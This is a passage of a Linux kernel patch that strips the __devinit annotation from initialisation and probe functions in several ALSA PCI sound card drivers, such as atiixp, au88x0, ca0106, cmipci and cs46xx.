@@ -575,7 +575,7 @@ static int __devinit ac97_probing_bugs(struct pci_dev *pci)
 	return -1;
 }
 
-static int __devinit snd_atiixp_codec_detect(struct atiixp *chip)
+static int snd_atiixp_codec_detect(struct atiixp *chip)
 {
 	int timeout;
 
@@ -1247,7 +1247,7 @@ static struct atiixp_dma_ops snd_atiixp_spdif_dma_ops = {
 };
 	
 
-static int __devinit snd_atiixp_pcm_new(struct atiixp *chip)
+static int snd_atiixp_pcm_new(struct atiixp *chip)
 {
 	struct snd_pcm *pcm;
 	struct snd_pcm_chmap *chmap;
@@ -1412,7 +1412,7 @@ static struct ac97_quirk ac97_quirks[] __devinitdata = {
 	{ } /* terminator */
 };
 
-static int __devinit snd_atiixp_mixer_new(struct atiixp *chip, int clock,
+static int snd_atiixp_mixer_new(struct atiixp *chip, int clock,
 					  const char *quirk_override)
 {
 	struct snd_ac97_bus *pbus;
@@ -1560,7 +1560,7 @@ static void snd_atiixp_proc_read(struct snd_info_entry *entry,
 		snd_iprintf(buffer, "%02x: %08x\n", i, readl(chip->remap_addr + i));
 }
 
-static void __devinit snd_atiixp_proc_init(struct atiixp *chip)
+static void snd_atiixp_proc_init(struct atiixp *chip)
 {
 	struct snd_info_entry *entry;
 
@@ -1602,7 +1602,7 @@ static int snd_atiixp_dev_free(struct snd_device *device)
 /*
  * constructor for chip instance
  */
-static int __devinit snd_atiixp_create(struct snd_card *card,
+static int snd_atiixp_create(struct snd_card *card,
 				      struct pci_dev *pci,
 				      struct atiixp **r_chip)
 {
@@ -1661,7 +1661,7 @@ static int __devinit snd_atiixp_create(struct snd_card *card,
 }
 
 
-static int __devinit snd_atiixp_probe(struct pci_dev *pci,
+static int snd_atiixp_probe(struct pci_dev *pci,
 				     const struct pci_device_id *pci_id)
 {
 	struct snd_card *card;
diff --git a/sound/pci/atiixp_modem.c b/sound/pci/atiixp_modem.c
index 95b1cd2..5cb8928 100644
--- a/sound/pci/atiixp_modem.c
+++ b/sound/pci/atiixp_modem.c
@@ -988,7 +988,7 @@ static struct atiixp_dma_ops snd_atiixp_capture_dma_ops = {
 	.flush_dma = atiixp_in_flush_dma,
 };
 
-static int __devinit snd_atiixp_pcm_new(struct atiixp_modem *chip)
+static int snd_atiixp_pcm_new(struct atiixp_modem *chip)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1061,7 +1061,7 @@ static irqreturn_t snd_atiixp_interrupt(int irq, void *dev_id)
  * ac97 mixer section
  */
 
-static int __devinit snd_atiixp_mixer_new(struct atiixp_modem *chip, int clock)
+static int snd_atiixp_mixer_new(struct atiixp_modem *chip, int clock)
 {
 	struct snd_ac97_bus *pbus;
 	struct snd_ac97_template ac97;
@@ -1186,7 +1186,7 @@ static void snd_atiixp_proc_read(struct snd_info_entry *entry,
 		snd_iprintf(buffer, "%02x: %08x\n", i, readl(chip->remap_addr + i));
 }
 
-static void __devinit snd_atiixp_proc_init(struct atiixp_modem *chip)
+static void snd_atiixp_proc_init(struct atiixp_modem *chip)
 {
 	struct snd_info_entry *entry;
 
@@ -1228,7 +1228,7 @@ static int snd_atiixp_dev_free(struct snd_device *device)
 /*
  * constructor for chip instance
  */
-static int __devinit snd_atiixp_create(struct snd_card *card,
+static int snd_atiixp_create(struct snd_card *card,
 				       struct pci_dev *pci,
 				       struct atiixp_modem **r_chip)
 {
@@ -1287,7 +1287,7 @@ static int __devinit snd_atiixp_create(struct snd_card *card,
 }
 
 
-static int __devinit snd_atiixp_probe(struct pci_dev *pci,
+static int snd_atiixp_probe(struct pci_dev *pci,
 				      const struct pci_device_id *pci_id)
 {
 	struct snd_card *card;
diff --git a/sound/pci/au88x0/au88x0.c b/sound/pci/au88x0/au88x0.c
index 1b24880..9cf669a 100644
--- a/sound/pci/au88x0/au88x0.c
+++ b/sound/pci/au88x0/au88x0.c
@@ -78,7 +78,7 @@ static void vortex_fix_agp_bridge(struct pci_dev *via)
 	}
 }
 
-static void __devinit snd_vortex_workaround(struct pci_dev *vortex, int fix)
+static void snd_vortex_workaround(struct pci_dev *vortex, int fix)
 {
 	struct pci_dev *via = NULL;
 
@@ -137,8 +137,7 @@ static int snd_vortex_dev_free(struct snd_device *device)
 
 // chip-specific constructor
 // (see "Management of Cards and Components")
-static int __devinit
-snd_vortex_create(struct snd_card *card, struct pci_dev *pci, vortex_t ** rchip)
+static int snd_vortex_create(struct snd_card *card, struct pci_dev *pci, vortex_t ** rchip)
 {
 	vortex_t *chip;
 	int err;
@@ -234,8 +233,7 @@ snd_vortex_create(struct snd_card *card, struct pci_dev *pci, vortex_t ** rchip)
 }
 
 // constructor -- see "Constructor" sub-section
-static int __devinit
-snd_vortex_probe(struct pci_dev *pci, const struct pci_device_id *pci_id)
+static int snd_vortex_probe(struct pci_dev *pci, const struct pci_device_id *pci_id)
 {
 	static int dev;
 	struct snd_card *card;
diff --git a/sound/pci/au88x0/au88x0_a3d.c b/sound/pci/au88x0/au88x0_a3d.c
index 9ae8b3b..a00faa0 100644
--- a/sound/pci/au88x0/au88x0_a3d.c
+++ b/sound/pci/au88x0/au88x0_a3d.c
@@ -594,7 +594,7 @@ static int Vort3DRend_Initialize(vortex_t * v, unsigned short mode)
 static int vortex_a3d_register_controls(vortex_t * vortex);
 static void vortex_a3d_unregister_controls(vortex_t * vortex);
 /* A3D base support init/shudown */
-static void __devinit vortex_Vort3D_enable(vortex_t * v)
+static void vortex_Vort3D_enable(vortex_t * v)
 {
 	int i;
 
@@ -855,7 +855,7 @@ static struct snd_kcontrol_new vortex_a3d_kcontrol __devinitdata = {
 };
 
 /* Control (un)registration. */
-static int __devinit vortex_a3d_register_controls(vortex_t * vortex)
+static int vortex_a3d_register_controls(vortex_t * vortex)
 {
 	struct snd_kcontrol *kcontrol;
 	int err, i;
diff --git a/sound/pci/au88x0/au88x0_core.c b/sound/pci/au88x0/au88x0_core.c
index 2698abf..a7855e2 100644
--- a/sound/pci/au88x0/au88x0_core.c
+++ b/sound/pci/au88x0/au88x0_core.c
@@ -2680,7 +2680,7 @@ static void vortex_spdif_init(vortex_t * vortex, int spdif_sr, int spdif_mode)
 
 /* Initialization */
 
-static int __devinit vortex_core_init(vortex_t * vortex)
+static int vortex_core_init(vortex_t * vortex)
 {
 
 	printk(KERN_INFO "Vortex: init.... ");
diff --git a/sound/pci/au88x0/au88x0_eq.c b/sound/pci/au88x0/au88x0_eq.c
index 278ed81..0ddf004a 100644
--- a/sound/pci/au88x0/au88x0_eq.c
+++ b/sound/pci/au88x0/au88x0_eq.c
@@ -877,7 +877,7 @@ static char *EqBandLabels[10] __devinitdata = {
 };
 
 /* ALSA driver entry points. Init and exit. */
-static int __devinit vortex_eq_init(vortex_t * vortex)
+static int vortex_eq_init(vortex_t * vortex)
 {
 	struct snd_kcontrol *kcontrol;
 	int err, i;
diff --git a/sound/pci/au88x0/au88x0_game.c b/sound/pci/au88x0/au88x0_game.c
index 30a4567..984d015 100644
--- a/sound/pci/au88x0/au88x0_game.c
+++ b/sound/pci/au88x0/au88x0_game.c
@@ -92,7 +92,7 @@ static int vortex_game_open(struct gameport *gameport, int mode)
 	return 0;
 }
 
-static int __devinit vortex_gameport_register(vortex_t * vortex)
+static int vortex_gameport_register(vortex_t * vortex)
 {
 	struct gameport *gp;
 
diff --git a/sound/pci/au88x0/au88x0_mixer.c b/sound/pci/au88x0/au88x0_mixer.c
index fa13efb..965ea58 100644
--- a/sound/pci/au88x0/au88x0_mixer.c
+++ b/sound/pci/au88x0/au88x0_mixer.c
@@ -19,7 +19,7 @@ static int remove_ctl(struct snd_card *card, const char *name)
 	return snd_ctl_remove_id(card, &id);
 }
 
-static int __devinit snd_vortex_mixer(vortex_t * vortex)
+static int snd_vortex_mixer(vortex_t * vortex)
 {
 	struct snd_ac97_bus *pbus;
 	struct snd_ac97_template ac97;
diff --git a/sound/pci/au88x0/au88x0_mpu401.c b/sound/pci/au88x0/au88x0_mpu401.c
index e6c6a0f..e447719 100644
--- a/sound/pci/au88x0/au88x0_mpu401.c
+++ b/sound/pci/au88x0/au88x0_mpu401.c
@@ -41,7 +41,7 @@
 #define MPU401_ENTER_UART	0x3f
 #define MPU401_ACK		    0xfe
 
-static int __devinit snd_vortex_midi(vortex_t * vortex)
+static int snd_vortex_midi(vortex_t * vortex)
 {
 	struct snd_rawmidi *rmidi;
 	int temp, mode;
diff --git a/sound/pci/au88x0/au88x0_pcm.c b/sound/pci/au88x0/au88x0_pcm.c
index b240502..c7d6b35 100644
--- a/sound/pci/au88x0/au88x0_pcm.c
+++ b/sound/pci/au88x0/au88x0_pcm.c
@@ -611,7 +611,7 @@ static struct snd_kcontrol_new snd_vortex_pcm_vol __devinitdata = {
 };
 
 /* create a pcm device */
-static int __devinit snd_vortex_new_pcm(vortex_t *chip, int idx, int nr)
+static int snd_vortex_new_pcm(vortex_t *chip, int idx, int nr)
 {
 	struct snd_pcm *pcm;
 	struct snd_kcontrol *kctl;
diff --git a/sound/pci/aw2/aw2-alsa.c b/sound/pci/aw2/aw2-alsa.c
index 9a9b920..4189705 100644
--- a/sound/pci/aw2/aw2-alsa.c
+++ b/sound/pci/aw2/aw2-alsa.c
@@ -113,9 +113,9 @@ struct aw2 {
  * FUNCTION DECLARATIONS
  ********************************/
 static int snd_aw2_dev_free(struct snd_device *device);
-static int __devinit snd_aw2_create(struct snd_card *card,
+static int snd_aw2_create(struct snd_card *card,
 				    struct pci_dev *pci, struct aw2 **rchip);
-static int __devinit snd_aw2_probe(struct pci_dev *pci,
+static int snd_aw2_probe(struct pci_dev *pci,
 				   const struct pci_device_id *pci_id);
 static void __devexit snd_aw2_remove(struct pci_dev *pci);
 static int snd_aw2_pcm_playback_open(struct snd_pcm_substream *substream);
@@ -135,7 +135,7 @@ static snd_pcm_uframes_t snd_aw2_pcm_pointer_playback(struct snd_pcm_substream
 						      *substream);
 static snd_pcm_uframes_t snd_aw2_pcm_pointer_capture(struct snd_pcm_substream
 						     *substream);
-static int __devinit snd_aw2_new_pcm(struct aw2 *chip);
+static int snd_aw2_new_pcm(struct aw2 *chip);
 
 static int snd_aw2_control_switch_capture_info(struct snd_kcontrol *kcontrol,
 					       struct snd_ctl_elem_info *uinfo);
@@ -242,7 +242,7 @@ static int snd_aw2_dev_free(struct snd_device *device)
 }
 
 /* chip-specific constructor */
-static int __devinit snd_aw2_create(struct snd_card *card,
+static int snd_aw2_create(struct snd_card *card,
 				    struct pci_dev *pci, struct aw2 **rchip)
 {
 	struct aw2 *chip;
@@ -332,7 +332,7 @@ static int __devinit snd_aw2_create(struct snd_card *card,
 }
 
 /* constructor */
-static int __devinit snd_aw2_probe(struct pci_dev *pci,
+static int snd_aw2_probe(struct pci_dev *pci,
 				   const struct pci_device_id *pci_id)
 {
 	static int dev;
@@ -591,7 +591,7 @@ static snd_pcm_uframes_t snd_aw2_pcm_pointer_capture(struct snd_pcm_substream
 }
 
 /* create a pcm device */
-static int __devinit snd_aw2_new_pcm(struct aw2 *chip)
+static int snd_aw2_new_pcm(struct aw2 *chip)
 {
 	struct snd_pcm *pcm_playback_ana;
 	struct snd_pcm *pcm_playback_num;
diff --git a/sound/pci/azt3328.c b/sound/pci/azt3328.c
index 8a48a69..5e4031b 100644
--- a/sound/pci/azt3328.c
+++ b/sound/pci/azt3328.c
@@ -817,8 +817,7 @@ snd_azf3328_mixer_ac97_write(struct snd_ac97 *ac97,
 		snd_azf3328_mixer_ac97_map_unsupported(reg_ac97, "write");
 }
 
-static int __devinit
-snd_azf3328_mixer_new(struct snd_azf3328 *chip)
+static int snd_azf3328_mixer_new(struct snd_azf3328 *chip)
 {
 	struct snd_ac97_bus *bus;
 	struct snd_ac97_template ac97;
@@ -1245,8 +1244,7 @@ static u16 __devinitdata snd_azf3328_init_values[][2] = {
         { IDX_MIXER_REC_VOLUME,		MIXER_MUTE_MASK|0x0707 },
 };
 
-static int __devinit
-snd_azf3328_mixer_new(struct snd_azf3328 *chip)
+static int snd_azf3328_mixer_new(struct snd_azf3328 *chip)
 {
 	struct snd_card *card;
 	const struct snd_kcontrol_new *sw;
@@ -1899,8 +1897,7 @@ snd_azf3328_gameport_cooked_read(struct gameport *gameport,
 	return 0;
 }
 
-static int __devinit
-snd_azf3328_gameport(struct snd_azf3328 *chip, int dev)
+static int snd_azf3328_gameport(struct snd_azf3328 *chip, int dev)
 {
 	struct gameport *gp;
 
@@ -2212,8 +2209,7 @@ static struct snd_pcm_ops snd_azf3328_i2s_out_ops = {
 	.pointer =	snd_azf3328_pcm_pointer
 };
 
-static int __devinit
-snd_azf3328_pcm(struct snd_azf3328 *chip)
+static int snd_azf3328_pcm(struct snd_azf3328 *chip)
 {
 enum { AZF_PCMDEV_STD, AZF_PCMDEV_I2S_OUT, NUM_AZF_PCMDEVS }; /* pcm devices */
 
@@ -2344,8 +2340,7 @@ static struct snd_timer_hardware snd_azf3328_timer_hw = {
 	.precise_resolution = snd_azf3328_timer_precise_resolution,
 };
 
-static int __devinit
-snd_azf3328_timer(struct snd_azf3328 *chip, int device)
+static int snd_azf3328_timer(struct snd_azf3328 *chip, int device)
 {
 	struct snd_timer *timer = NULL;
 	struct snd_timer_id tid;
@@ -2489,8 +2484,7 @@ snd_azf3328_debug_show_ports(const struct snd_azf3328 *chip)
 #endif /* DEBUG_MISC */
 }
 
-static int __devinit
-snd_azf3328_create(struct snd_card *card,
+static int snd_azf3328_create(struct snd_card *card,
 		   struct pci_dev *pci,
 		   unsigned long device_type,
 		   struct snd_azf3328 **rchip)
@@ -2615,8 +2609,7 @@ out:
 	return err;
 }
 
-static int __devinit
-snd_azf3328_probe(struct pci_dev *pci, const struct pci_device_id *pci_id)
+static int snd_azf3328_probe(struct pci_dev *pci, const struct pci_device_id *pci_id)
 {
 	static int dev;
 	struct snd_card *card;
diff --git a/sound/pci/bt87x.c b/sound/pci/bt87x.c
index a0ee0c7..6cfb4ee 100644
--- a/sound/pci/bt87x.c
+++ b/sound/pci/bt87x.c
@@ -696,7 +696,7 @@ static int snd_bt87x_dev_free(struct snd_device *device)
 	return snd_bt87x_free(chip);
 }
 
-static int __devinit snd_bt87x_pcm(struct snd_bt87x *chip, int device, char *name)
+static int snd_bt87x_pcm(struct snd_bt87x *chip, int device, char *name)
 {
 	int err;
 	struct snd_pcm *pcm;
@@ -714,7 +714,7 @@ static int __devinit snd_bt87x_pcm(struct snd_bt87x *chip, int device, char *nam
 							ALIGN(255 * 4092, 1024));
 }
 
-static int __devinit snd_bt87x_create(struct snd_card *card,
+static int snd_bt87x_create(struct snd_card *card,
 				      struct pci_dev *pci,
 				      struct snd_bt87x **rchip)
 {
@@ -837,7 +837,7 @@ static struct {
 };
 
 /* return the id of the card, or a negative value if it's blacklisted */
-static int __devinit snd_bt87x_detect_card(struct pci_dev *pci)
+static int snd_bt87x_detect_card(struct pci_dev *pci)
 {
 	int i;
 	const struct pci_device_id *supported;
@@ -862,7 +862,7 @@ static int __devinit snd_bt87x_detect_card(struct pci_dev *pci)
 	return SND_BT87X_BOARD_UNKNOWN;
 }
 
-static int __devinit snd_bt87x_probe(struct pci_dev *pci,
+static int snd_bt87x_probe(struct pci_dev *pci,
 				     const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/ca0106/ca0106_main.c b/sound/pci/ca0106/ca0106_main.c
index 030c846..f827687 100644
--- a/sound/pci/ca0106/ca0106_main.c
+++ b/sound/pci/ca0106/ca0106_main.c
@@ -1352,7 +1352,7 @@ static const struct snd_pcm_chmap_elem side_map[] = {
 	{ }
 };
 
-static int __devinit snd_ca0106_pcm(struct snd_ca0106 *emu, int device)
+static int snd_ca0106_pcm(struct snd_ca0106 *emu, int device)
 {
 	struct snd_pcm *pcm;
 	struct snd_pcm_substream *substream;
@@ -1650,7 +1650,7 @@ static void ca0106_stop_chip(struct snd_ca0106 *chip)
 	 */
 }
 
-static int __devinit snd_ca0106_create(int dev, struct snd_card *card,
+static int snd_ca0106_create(int dev, struct snd_card *card,
 					 struct pci_dev *pci,
 					 struct snd_ca0106 **rchip)
 {
@@ -1777,7 +1777,7 @@ static int ca0106_dev_id_port(void *dev_id)
 	return ((struct snd_ca0106 *)dev_id)->port;
 }
 
-static int __devinit snd_ca0106_midi(struct snd_ca0106 *chip, unsigned int channel)
+static int snd_ca0106_midi(struct snd_ca0106 *chip, unsigned int channel)
 {
 	struct snd_ca_midi *midi;
 	char *name;
@@ -1828,7 +1828,7 @@ static int __devinit snd_ca0106_midi(struct snd_ca0106 *chip, unsigned int chann
 }
 
 
-static int __devinit snd_ca0106_probe(struct pci_dev *pci,
+static int snd_ca0106_probe(struct pci_dev *pci,
 					const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/ca0106/ca0106_mixer.c b/sound/pci/ca0106/ca0106_mixer.c
index 68eacf7..2d040ef 100644
--- a/sound/pci/ca0106/ca0106_mixer.c
+++ b/sound/pci/ca0106/ca0106_mixer.c
@@ -691,8 +691,7 @@ static const int spi_dmute_bit[] = {
 	SPI_DMUTE4_BIT,
 };
 
-static struct snd_kcontrol_new __devinit
-snd_ca0106_volume_spi_dac_ctl(struct snd_ca0106_details *details,
+static struct snd_kcontrol_new snd_ca0106_volume_spi_dac_ctl(struct snd_ca0106_details *details,
 			      int channel_id)
 {
 	struct snd_kcontrol_new spi_switch = {0};
@@ -735,7 +734,7 @@ snd_ca0106_volume_spi_dac_ctl(struct snd_ca0106_details *details,
 	return spi_switch;
 }
 
-static int __devinit remove_ctl(struct snd_card *card, const char *name)
+static int remove_ctl(struct snd_card *card, const char *name)
 {
 	struct snd_ctl_elem_id id;
 	memset(&id, 0, sizeof(id));
@@ -744,7 +743,7 @@ static int __devinit remove_ctl(struct snd_card *card, const char *name)
 	return snd_ctl_remove_id(card, &id);
 }
 
-static struct snd_kcontrol __devinit *ctl_find(struct snd_card *card, const char *name)
+static struct snd_kcontrol *ctl_find(struct snd_card *card, const char *name)
 {
 	struct snd_ctl_elem_id sid;
 	memset(&sid, 0, sizeof(sid));
@@ -754,7 +753,7 @@ static struct snd_kcontrol __devinit *ctl_find(struct snd_card *card, const char
 	return snd_ctl_find_id(card, &sid);
 }
 
-static int __devinit rename_ctl(struct snd_card *card, const char *src, const char *dst)
+static int rename_ctl(struct snd_card *card, const char *src, const char *dst)
 {
 	struct snd_kcontrol *kctl = ctl_find(card, src);
 	if (kctl) {
@@ -799,7 +798,7 @@ static char *slave_sws[] __devinitdata = {
 	NULL
 };
 
-static void __devinit add_slaves(struct snd_card *card,
+static void add_slaves(struct snd_card *card,
 				 struct snd_kcontrol *master, char **list)
 {
 	for (; *list; list++) {
@@ -809,7 +808,7 @@ static void __devinit add_slaves(struct snd_card *card,
 	}
 }
 
-int __devinit snd_ca0106_mixer(struct snd_ca0106 *emu)
+int snd_ca0106_mixer(struct snd_ca0106 *emu)
 {
 	int err;
         struct snd_card *card = emu->card;
diff --git a/sound/pci/ca0106/ca0106_proc.c b/sound/pci/ca0106/ca0106_proc.c
index c694464..9fa037d 100644
--- a/sound/pci/ca0106/ca0106_proc.c
+++ b/sound/pci/ca0106/ca0106_proc.c
@@ -424,7 +424,7 @@ static void snd_ca0106_proc_i2c_write(struct snd_info_entry *entry,
         }
 }
 
-int __devinit snd_ca0106_proc_init(struct snd_ca0106 * emu)
+int snd_ca0106_proc_init(struct snd_ca0106 * emu)
 {
 	struct snd_info_entry *entry;
 	
diff --git a/sound/pci/ca0106/ca_midi.c b/sound/pci/ca0106/ca_midi.c
index c788511..8bbdf26 100644
--- a/sound/pci/ca0106/ca_midi.c
+++ b/sound/pci/ca0106/ca_midi.c
@@ -286,7 +286,7 @@ static void ca_rmidi_free(struct snd_rawmidi *rmidi)
 	ca_midi_free(rmidi->private_data);
 }
 
-int __devinit ca_midi_init(void *dev_id, struct snd_ca_midi *midi, int device, char *name)
+int ca_midi_init(void *dev_id, struct snd_ca_midi *midi, int device, char *name)
 {
 	struct snd_rawmidi *rmidi;
 	int err;
diff --git a/sound/pci/cmipci.c b/sound/pci/cmipci.c
index 2a69cc3..86ca0ab 100644
--- a/sound/pci/cmipci.c
+++ b/sound/pci/cmipci.c
@@ -1897,7 +1897,7 @@ static struct snd_pcm_ops snd_cmipci_capture_spdif_ops = {
 /*
  */
 
-static int __devinit snd_cmipci_pcm_new(struct cmipci *cm, int device)
+static int snd_cmipci_pcm_new(struct cmipci *cm, int device)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1920,7 +1920,7 @@ static int __devinit snd_cmipci_pcm_new(struct cmipci *cm, int device)
 	return 0;
 }
 
-static int __devinit snd_cmipci_pcm2_new(struct cmipci *cm, int device)
+static int snd_cmipci_pcm2_new(struct cmipci *cm, int device)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1942,7 +1942,7 @@ static int __devinit snd_cmipci_pcm2_new(struct cmipci *cm, int device)
 	return 0;
 }
 
-static int __devinit snd_cmipci_pcm_spdif_new(struct cmipci *cm, int device)
+static int snd_cmipci_pcm_spdif_new(struct cmipci *cm, int device)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -2663,7 +2663,7 @@ static struct snd_kcontrol_new snd_cmipci_modem_switch __devinitdata =
 DEFINE_CARD_SWITCH("Modem", modem);
 
 
-static int __devinit snd_cmipci_mixer_new(struct cmipci *cm, int pcm_spdif_device)
+static int snd_cmipci_mixer_new(struct cmipci *cm, int pcm_spdif_device)
 {
 	struct snd_card *card;
 	struct snd_kcontrol_new *sw;
@@ -2791,7 +2791,7 @@ static void snd_cmipci_proc_read(struct snd_info_entry *entry,
 	snd_iprintf(buffer, "\n");
 }
 
-static void __devinit snd_cmipci_proc_init(struct cmipci *cm)
+static void snd_cmipci_proc_init(struct cmipci *cm)
 {
 	struct snd_info_entry *entry;
 
@@ -2817,7 +2817,7 @@ static DEFINE_PCI_DEVICE_TABLE(snd_cmipci_ids) = {
  * check chip version and capabilities
  * driver name is modified according to the chip model
  */
-static void __devinit query_chip(struct cmipci *cm)
+static void query_chip(struct cmipci *cm)
 {
 	unsigned int detect;
 
@@ -2866,7 +2866,7 @@ static void __devinit query_chip(struct cmipci *cm)
 }
 
 #ifdef SUPPORT_JOYSTICK
-static int __devinit snd_cmipci_create_gameport(struct cmipci *cm, int dev)
+static int snd_cmipci_create_gameport(struct cmipci *cm, int dev)
 {
 	static int ports[] = { 0x201, 0x200, 0 }; /* FIXME: majority is 0x201? */
 	struct gameport *gp;
@@ -2959,7 +2959,7 @@ static int snd_cmipci_dev_free(struct snd_device *device)
 	return snd_cmipci_free(cm);
 }
 
-static int __devinit snd_cmipci_create_fm(struct cmipci *cm, long fm_port)
+static int snd_cmipci_create_fm(struct cmipci *cm, long fm_port)
 {
 	long iosynth;
 	unsigned int val;
@@ -3012,7 +3012,7 @@ static int __devinit snd_cmipci_create_fm(struct cmipci *cm, long fm_port)
 	return 0;
 }
 
-static int __devinit snd_cmipci_create(struct snd_card *card, struct pci_dev *pci,
+static int snd_cmipci_create(struct snd_card *card, struct pci_dev *pci,
 				       int dev, struct cmipci **rcmipci)
 {
 	struct cmipci *cm;
@@ -3265,7 +3265,7 @@ static int __devinit snd_cmipci_create(struct snd_card *card, struct pci_dev *pc
 
 MODULE_DEVICE_TABLE(pci, snd_cmipci_ids);
 
-static int __devinit snd_cmipci_probe(struct pci_dev *pci,
+static int snd_cmipci_probe(struct pci_dev *pci,
 				      const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/cs4281.c b/sound/pci/cs4281.c
index 0ecf782..5431c6d 100644
--- a/sound/pci/cs4281.c
+++ b/sound/pci/cs4281.c
@@ -969,7 +969,7 @@ static struct snd_pcm_ops snd_cs4281_capture_ops = {
 	.pointer =	snd_cs4281_pointer,
 };
 
-static int __devinit snd_cs4281_pcm(struct cs4281 * chip, int device,
+static int snd_cs4281_pcm(struct cs4281 * chip, int device,
 				    struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *pcm;
@@ -1093,7 +1093,7 @@ static void snd_cs4281_mixer_free_ac97(struct snd_ac97 *ac97)
 		chip->ac97 = NULL;
 }
 
-static int __devinit snd_cs4281_mixer(struct cs4281 * chip)
+static int snd_cs4281_mixer(struct cs4281 * chip)
 {
 	struct snd_card *card = chip->card;
 	struct snd_ac97_template ac97;
@@ -1171,7 +1171,7 @@ static struct snd_info_entry_ops snd_cs4281_proc_ops_BA1 = {
 	.read = snd_cs4281_BA1_read,
 };
 
-static void __devinit snd_cs4281_proc_init(struct cs4281 * chip)
+static void snd_cs4281_proc_init(struct cs4281 * chip)
 {
 	struct snd_info_entry *entry;
 
@@ -1259,7 +1259,7 @@ static int snd_cs4281_gameport_open(struct gameport *gameport, int mode)
 	return 0;
 }
 
-static int __devinit snd_cs4281_create_gameport(struct cs4281 *chip)
+static int snd_cs4281_create_gameport(struct cs4281 *chip)
 {
 	struct gameport *gp;
 
@@ -1335,7 +1335,7 @@ static int snd_cs4281_dev_free(struct snd_device *device)
 
 static int snd_cs4281_chip_init(struct cs4281 *chip); /* defined below */
 
-static int __devinit snd_cs4281_create(struct snd_card *card,
+static int snd_cs4281_create(struct snd_card *card,
 				       struct pci_dev *pci,
 				       struct cs4281 ** rchip,
 				       int dual_codec)
@@ -1779,7 +1779,7 @@ static struct snd_rawmidi_ops snd_cs4281_midi_input =
 	.trigger =	snd_cs4281_midi_input_trigger,
 };
 
-static int __devinit snd_cs4281_midi(struct cs4281 * chip, int device,
+static int snd_cs4281_midi(struct cs4281 * chip, int device,
 				     struct snd_rawmidi **rrawmidi)
 {
 	struct snd_rawmidi *rmidi;
@@ -1901,7 +1901,7 @@ static void snd_cs4281_opl3_command(struct snd_opl3 *opl3, unsigned short cmd,
 	spin_unlock_irqrestore(&opl3->reg_lock, flags);
 }
 
-static int __devinit snd_cs4281_probe(struct pci_dev *pci,
+static int snd_cs4281_probe(struct pci_dev *pci,
 				      const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/cs46xx/cs46xx.c b/sound/pci/cs46xx/cs46xx.c
index e47fb8b..74a43b0 100644
--- a/sound/pci/cs46xx/cs46xx.c
+++ b/sound/pci/cs46xx/cs46xx.c
@@ -73,7 +73,7 @@ static DEFINE_PCI_DEVICE_TABLE(snd_cs46xx_ids) = {
 
 MODULE_DEVICE_TABLE(pci, snd_cs46xx_ids);
 
-static int __devinit snd_card_cs46xx_probe(struct pci_dev *pci,
+static int snd_card_cs46xx_probe(struct pci_dev *pci,
 					   const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/cs46xx/cs46xx_lib.c b/sound/pci/cs46xx/cs46xx_lib.c
index a2bb8c9..c43feb0 100644
--- a/sound/pci/cs46xx/cs46xx_lib.c
+++ b/sound/pci/cs46xx/cs46xx_lib.c
@@ -1590,7 +1590,7 @@ static struct snd_pcm_ops snd_cs46xx_capture_indirect_ops = {
 #define MAX_PLAYBACK_CHANNELS	1
 #endif
 
-int __devinit snd_cs46xx_pcm(struct snd_cs46xx *chip, int device, struct snd_pcm ** rpcm)
+int snd_cs46xx_pcm(struct snd_cs46xx *chip, int device, struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1621,7 +1621,7 @@ int __devinit snd_cs46xx_pcm(struct snd_cs46xx *chip, int device, struct snd_pcm
 
 
 #ifdef CONFIG_SND_CS46XX_NEW_DSP
-int __devinit snd_cs46xx_pcm_rear(struct snd_cs46xx *chip, int device, struct snd_pcm ** rpcm)
+int snd_cs46xx_pcm_rear(struct snd_cs46xx *chip, int device, struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1650,7 +1650,7 @@ int __devinit snd_cs46xx_pcm_rear(struct snd_cs46xx *chip, int device, struct sn
 	return 0;
 }
 
-int __devinit snd_cs46xx_pcm_center_lfe(struct snd_cs46xx *chip, int device, struct snd_pcm ** rpcm)
+int snd_cs46xx_pcm_center_lfe(struct snd_cs46xx *chip, int device, struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1679,7 +1679,7 @@ int __devinit snd_cs46xx_pcm_center_lfe(struct snd_cs46xx *chip, int device, str
 	return 0;
 }
 
-int __devinit snd_cs46xx_pcm_iec958(struct snd_cs46xx *chip, int device, struct snd_pcm ** rpcm)
+int snd_cs46xx_pcm_iec958(struct snd_cs46xx *chip, int device, struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -2278,7 +2278,7 @@ static void snd_cs46xx_codec_reset (struct snd_ac97 * ac97)
 }
 #endif
 
-static int __devinit cs46xx_detect_codec(struct snd_cs46xx *chip, int codec)
+static int cs46xx_detect_codec(struct snd_cs46xx *chip, int codec)
 {
 	int idx, err;
 	struct snd_ac97_template ac97;
@@ -2311,7 +2311,7 @@ static int __devinit cs46xx_detect_codec(struct snd_cs46xx *chip, int codec)
 	return -ENXIO;
 }
 
-int __devinit snd_cs46xx_mixer(struct snd_cs46xx *chip, int spdif_device)
+int snd_cs46xx_mixer(struct snd_cs46xx *chip, int spdif_device)
 {
 	struct snd_card *card = chip->card;
 	struct snd_ctl_elem_id id;
@@ -2531,7 +2531,7 @@ static struct snd_rawmidi_ops snd_cs46xx_midi_input =
 	.trigger =	snd_cs46xx_midi_input_trigger,
 };
 
-int __devinit snd_cs46xx_midi(struct snd_cs46xx *chip, int device, struct snd_rawmidi **rrawmidi)
+int snd_cs46xx_midi(struct snd_cs46xx *chip, int device, struct snd_rawmidi **rrawmidi)
 {
 	struct snd_rawmidi *rmidi;
 	int err;
@@ -2613,7 +2613,7 @@ static int snd_cs46xx_gameport_open(struct gameport *gameport, int mode)
 	return 0;
 }
 
-int __devinit snd_cs46xx_gameport(struct snd_cs46xx *chip)
